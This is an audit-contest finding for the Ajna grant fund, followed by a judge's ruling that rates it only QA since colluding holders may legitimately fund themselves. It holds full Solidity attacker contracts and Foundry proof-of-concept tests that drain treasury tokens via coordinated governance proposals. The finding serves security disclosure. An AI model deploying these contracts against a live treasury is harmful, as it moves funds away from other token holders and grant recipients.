code-423n4 / 2023-05-ajna-findings

2 stars 0 forks source link

Users can grant an address and distribute rewards pro-rata, draining the treasury #352

Open code423n4 opened 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/GrantFund.sol#L13 https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L56 https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L85 https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L173

Vulnerability details

Impact

Most of the treasury funds are emptied and the funds sent to the malicious users pro-rata to their voting power. This is possible both for standard and extraordinary funding. It would make it very hard if not impossible to give legit standard or extraordinary grants.

Proof of Concept

ExtraordinaryFunding

ExtraordinaryFunding let's users execute any proposal provided the received votes reach a threshold of

grantFund.getSliceOfTreasury(10**18 - minimumThresholdPercentage_) + grantFund.getSliceOfNonTreasury(minimumThresholdPercentage_)

which totals 1_000_000_000 at the beginning (using the numbers from the tests), increasing with each funded proposal.

Thus, users can create a contract which receives the funds and distributes to users according to their votes, such as the following contract MaliciousGrantReceiver.

contract MaliciousGrantReceiver {
    uint256 public constant VOTING_POWER_SNAPSHOT_DELAY = 33;

    GrantFund public immutable grantFund;
    mapping(address => mapping(uint256 => bool)) public hasClaimed;

    constructor(GrantFund grantFund_) {
        grantFund = GrantFund(grantFund_);
    }

    function proposeExtraordinary() public returns (uint256 proposalId_, uint256 tokensRequested_){
        tokensRequested_ = grantFund.getSliceOfTreasury(10**18 - grantFund.getMinimumThresholdPercentage());

        address[] memory targets_ = new address[](1);
        targets_[0] = address(grantFund.ajnaTokenAddress());
        uint256[] memory values_ = new uint256[](1);
        values_[0] = 0;
        bytes[] memory calldatas_ = new bytes[](1);
        calldatas_[0] = abi.encodeWithSignature("transfer(address,uint256)", address(this), tokensRequested_);

        proposalId_ = grantFund.proposeExtraordinary(
            block.number + 216_000 - 1,
            targets_,
            values_,
            calldatas_,
            ""
        );
    }

    function getRewards(uint256 proposalId_) public returns (uint256 rewards_) {
        if (hasClaimed[msg.sender][proposalId_]) revert("Already claimed");

        if (!grantFund.hasVotedExtraordinary(proposalId_, msg.sender)) revert ("Has not voted");

        (, uint128 startBlock_,, uint128 tokensRequested_, uint120 votesReceived_,) = grantFund.getExtraordinaryProposalInfo(proposalId_);

        uint256 votes_ = _getVotesAtSnapshotBlocks(msg.sender, startBlock_ - VOTING_POWER_SNAPSHOT_DELAY, startBlock_);

        rewards_ = tokensRequested_*votes_/votesReceived_;

        hasClaimed[msg.sender][proposalId_] = true;

        IAjnaToken(grantFund.ajnaTokenAddress()).transfer(msg.sender, rewards_);
    }

    function _getVotesAtSnapshotBlocks(
        address account_,
        uint256 snapshot_,
        uint256 voteStartBlock_
    ) internal view returns (uint256) {
        IAjnaToken token = IAjnaToken(grantFund.ajnaTokenAddress());

        // calculate the number of votes available at the snapshot block
        uint256 votes1 = token.getPastVotes(account_, snapshot_);

        // enable voting weight to be calculated during the voting period's start block
        voteStartBlock_ = voteStartBlock_ != block.number ? voteStartBlock_ : block.number - 1;

        // calculate the number of votes available at the stage's start block
        uint256 votes2 = token.getPastVotes(account_, voteStartBlock_);

        if (votes1 < votes2) return votes1;
        return votes2;
    }

    function getMinimumVotesNeeded() external view returns (uint256) {
        uint256 minimumThresholdPercentage_ = grantFund.getMinimumThresholdPercentage();
        return grantFund.getSliceOfTreasury(10**18 - minimumThresholdPercentage_) + grantFund.getSliceOfNonTreasury(minimumThresholdPercentage_);
    }
}

Add the following test to ExtraordinaryFunding.t.sol.

function test_POC_Collaborate_StealTreasury() external {
    // 24 tokenholders self delegate their tokens to enable voting on the proposals
    _selfDelegateVoters(_token, _votersArr);

    // create malicious target
    MaliciousGrantReceiver maliciousGrantReceiver_ = new MaliciousGrantReceiver(_grantFund);

    // set up proposal parameters
    address[] memory targets_ = new address[](1);
    targets_[0] = address(_token);
    uint256[] memory values_ = new uint256[](1);
    values_[0] = 0;
    bytes[] memory calldatas_ = new bytes[](1);

    uint256 initialTokenHolderBalance_ = _token.balanceOf(_tokenHolder1);
    for (uint nrSteal_; nrSteal_ < 3; nrSteal_++) {
        vm.roll(_startBlock + 33);

        // create proposal
        (uint256 proposalId_, uint256 tokensRequested_) = maliciousGrantReceiver_.proposeExtraordinary();

        // vote on it
        for(uint i; i < _votersArr.length; i++) {
            _extraordinaryVote(_grantFund, _votersArr[i], proposalId_, 1);
        }

        // update tokens requested calldata
        calldatas_[0] = abi.encodeWithSignature("transfer(address,uint256)", address(maliciousGrantReceiver_), tokensRequested_);

        // execute proposal
        _grantFund.executeExtraordinary(targets_, values_, calldatas_, keccak256(""));

        // Get rewards for all token holders
        for(uint i_; i_ < _votersArr.length; i_++) {
            changePrank(_votersArr[i_]);
            maliciousGrantReceiver_.getRewards(proposalId_);
        }
    }
    // Stole 417_500_000 tokens from the treasury
    assertEq(82_500_000, _token.balanceOf(address(_grantFund)) / 1e18);

    // Each token holder should have gained 17_395_833 tokens
    for(uint i_; i_ < _votersArr.length; i_++) {
        assertEq(17_395_833, (_token.balanceOf(_votersArr[i_])  - initialTokenHolderBalance_) / 1e18);
    }
}

In the test, users were able to go through 3 funding rounds with the initial votes, by claiming the rewards of the last round, waiting 33 blocks and repeating. Many variations of this could be performed, it's just an example.

In the test there were 24 users with 50_000_000 ajna tokens each, but more users could participate with less tokens each.

An approximation of the reward per vote can be given by (according to the tested example): rewardPerVote = treasuryStolenFunds/initialTokensNeeded = 417_500_000 / 1_200_000_000 = 0.4175 = 34.8%. This is a significant incentive to perform the attack.

StandardFunding

In standard funding, users have to beat the votes on other proposals, so the exploit and profit calculations are dependent on the behaviour of the other users.

The example malicious contract code MaliciousGrantReceiver is shown below.

contract MaliciousGrantReceiver {
    uint256 public constant VOTING_POWER_SNAPSHOT_DELAY = 33;

    GrantFund public immutable grantFund;
    mapping(address => mapping(uint256 => bool)) public hasClaimed;

    constructor(GrantFund grantFund_) {
        grantFund = GrantFund(grantFund_);
    }

    function proposeStandard() public returns (uint256 proposalId_, uint256 tokensRequested_){
        (,,, uint128 fundsAvailable_,,) = grantFund.getDistributionPeriodInfo(grantFund.getDistributionId());

        tokensRequested_ = fundsAvailable_* 9 / 10;

        address[] memory targets_ = new address[](1);
        targets_[0] = address(grantFund.ajnaTokenAddress());
        uint256[] memory values_ = new uint256[](1);
        values_[0] = 0;
        bytes[] memory calldatas_ = new bytes[](1);
        calldatas_[0] = abi.encodeWithSignature("transfer(address,uint256)", address(this), tokensRequested_);

        proposalId_ = grantFund.proposeStandard(
            targets_,
            values_,
            calldatas_,
            ""
        );
    }

    function getRewards(uint256 proposalId_) public returns (uint256 rewards_) {
        if (hasClaimed[msg.sender][proposalId_]) revert("Already claimed");

        (
            ,
            uint24 distributionId_,
            ,
            uint128 tokensRequested_,
            int128 fundingVotesReceived_,
            bool executed_
        ) = grantFund.getProposalInfo(proposalId_);

        if (!executed_) revert("Proposal not executed");

        IStandardFunding.FundingVoteParams memory fundingParams_ = grantFund.getFundingVotesCast(distributionId_, msg.sender)[0];
        if (fundingParams_.proposalId != proposalId_) revert("Not voted on proposal");
        uint256 fundingVotesCast_ = uint256(fundingParams_.votesUsed);

        rewards_ = tokensRequested_*(fundingVotesCast_)/(uint128(fundingVotesReceived_));

        hasClaimed[msg.sender][proposalId_] = true;

        IAjnaToken(grantFund.ajnaTokenAddress()).transfer(msg.sender, rewards_);
    }
}

Add the following test to StandardFunding.t.sol.

function test_POC_Collaborate_StealTreasury_Standard() external {
    // 24 tokenholders self delegate their tokens to enable voting on the proposals
    _selfDelegateVoters(_token, _votersArr);

    MaliciousGrantReceiver maliciousGrantReceiver_ = new MaliciousGrantReceiver(_grantFund);

    vm.roll(_startBlock + 150);

    // start distribution period
    _startDistributionPeriod(_grantFund);

    uint24 distributionId = _grantFund.getDistributionId();

    (, , , uint128 gbc, , ) = _grantFund.getDistributionPeriodInfo(distributionId);

    assertEq(gbc, 15_000_000 * 1e18);

    (uint256 proposalId_, uint256 tokensRequested_) = maliciousGrantReceiver_.proposeStandard();

    vm.roll(_startBlock + 200);

    // screening period votes
    _screeningVote(_grantFund, _tokenHolder1, proposalId_, _getScreeningVotes(_grantFund, _tokenHolder1));
    _screeningVote(_grantFund, _tokenHolder2, proposalId_, _getScreeningVotes(_grantFund, _tokenHolder2));
    _screeningVote(_grantFund, _tokenHolder3, proposalId_, _getScreeningVotes(_grantFund, _tokenHolder3));
    _screeningVote(_grantFund, _tokenHolder4, proposalId_, _getScreeningVotes(_grantFund, _tokenHolder4));
    _screeningVote(_grantFund, _tokenHolder5, proposalId_, _getScreeningVotes(_grantFund, _tokenHolder5));
    _screeningVote(_grantFund, _tokenHolder6, proposalId_, _getScreeningVotes(_grantFund, _tokenHolder6));

    /*********************/
    /*** Funding Stage ***/
    /*********************/

    // skip time to move from screening period to funding period
    vm.roll(_startBlock + 600_000);

    // funding period votes for two competing slates, 1, or 2 and 3
    _fundingVote(_grantFund, _tokenHolder1, proposalId_, voteYes, 50_000_000 * 1e18);
    _fundingVote(_grantFund, _tokenHolder2, proposalId_, voteYes, 50_000_000 * 1e18);
    _fundingVote(_grantFund, _tokenHolder3, proposalId_, voteYes, 50_000_000 * 1e18);
    _fundingVote(_grantFund, _tokenHolder4, proposalId_, voteYes, 50_000_000 * 1e18);
    _fundingVote(_grantFund, _tokenHolder5, proposalId_, voteYes, 50_000_000 * 1e18);
    _fundingVote(_grantFund, _tokenHolder6, proposalId_, voteYes, 50_000_000 * 1e18);

    /************************/
    /*** Challenge Period ***/
    /************************/

    uint256[] memory potentialProposalSlate = new uint256[](1);
    potentialProposalSlate[0] = proposalId_;

    // skip to the end of the DistributionPeriod
    vm.roll(_startBlock + 650_000);

    vm.expectEmit(true, true, false, true);
    emit FundedSlateUpdated(distributionId, _grantFund.getSlateHash(potentialProposalSlate));
    bool proposalSlateUpdated = _grantFund.updateSlate(potentialProposalSlate, distributionId);
    assertTrue(proposalSlateUpdated);

    /********************************/
    /*** Execute Funded Proposals ***/
    /********************************/

    // skip to the end of the Distribution's challenge period
    vm.roll(_startBlock + 700_000);

    address[] memory targets_ = new address[](1);
    targets_[0] = address(_grantFund.ajnaTokenAddress());
    uint256[] memory values_ = new uint256[](1);
    values_[0] = 0;
    bytes[] memory calldatas_ = new bytes[](1);
    calldatas_[0] = abi.encodeWithSignature("transfer(address,uint256)", address(maliciousGrantReceiver_), tokensRequested_);

    uint256 tokenHolder1PreviousBalance_ = _token.balanceOf(_tokenHolder1);

    // execute funded proposals
    _grantFund.executeStandard(targets_, values_, calldatas_, keccak256(""));

    changePrank(_tokenHolder1);
    maliciousGrantReceiver_.getRewards(proposalId_);
    assertEq(2_250_000, (_token.balanceOf(_tokenHolder1) - tokenHolder1PreviousBalance_) / 1e18);
}

In this tests, 6 of the 24 users collaborated to sends funds to the MaliciousGrantReceiver. Each user received 2_500_000 rewards, having an initial balance of 50_000_000 tokens, a 5% return. The numbers can vary a lot depending on the other users votes, but this example ilustrated the danger.

Tools Used

Vscode, Foundry

Recommended Mitigation Steps

A possible (but limiting) solution would be to check if the target is a contract, but it's possible to dodge this by calling GrantFund while the malicious contract is in the constructor or by using create2 to predict an address. Still makes the attack harder.

The most robust solution is only letting the recipient of the transfer(...) call executeExtraordinary(...) and adding the check require(tx.origin == msg.sender). This is the only way to make sure that the recipient is an EOA, which makes coordinating this attack almost impossible, given that users would have to trust someone.

Assessed type

Other

Picodes commented 1 year ago

I don't really see what the issue is. The report is describing token holders colluding to fund themselves and split the proceed, but it does seem like a totally legit way of using the protocol considering it is "their" treasury if they have the required voting power.

c4-judge commented 1 year ago

Picodes changed the severity to QA (Quality Assurance)

c4-judge commented 1 year ago

Picodes marked the issue as grade-b